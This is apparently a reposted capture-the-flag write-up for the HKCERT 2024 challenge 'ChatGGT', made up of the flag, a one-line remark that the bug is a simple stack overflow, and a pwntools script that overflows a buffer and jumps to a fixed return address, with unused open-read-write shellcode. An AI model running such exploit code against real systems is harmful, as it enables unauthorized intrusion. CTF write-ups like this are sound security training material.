hkcert24{A_tRap_1n_1ibC}

ChatGGT (1)

簡單棧溢出,直接梭哈

from pwn import *
#from Crypto.Util.number import bytes_to_long,bytes_to_long
from ae64 import AE64
import sys
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' = ' + hex(data) + '\x1b[0m')
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda    : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda     :u64(io.recv(6).ljust(8,b'\x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
    if(c):
        gdb.attach(io, c)
        #pause()
    else:
        gdb.attach(io)
        pause()

#---------------------------------------------------------
filename = "./chal"
io = process(filename)
#io = remote("39.106.48.123",34015)
elf = ELF(filename)
#libc=ELF("./libc-2.31-0kylin9.2k0.2.so")
#初始化完成---------------------------------------------------------\
payload=b'EXIT'
payload+=payload.ljust(256+4,b'a')
payload+=p64(0x4011FB)*2
dbg()
sla(b":",payload)
inter()


文章来源: https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247508942&idx=1&sn=eb2bba7cb15831ea1648d8e1ce8bc5bc&chksm=fa527670cd25ff667a456ca1e47bfd03559d6f18b6bb8c2b494a4acb42b68a3dac179b8b5069&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh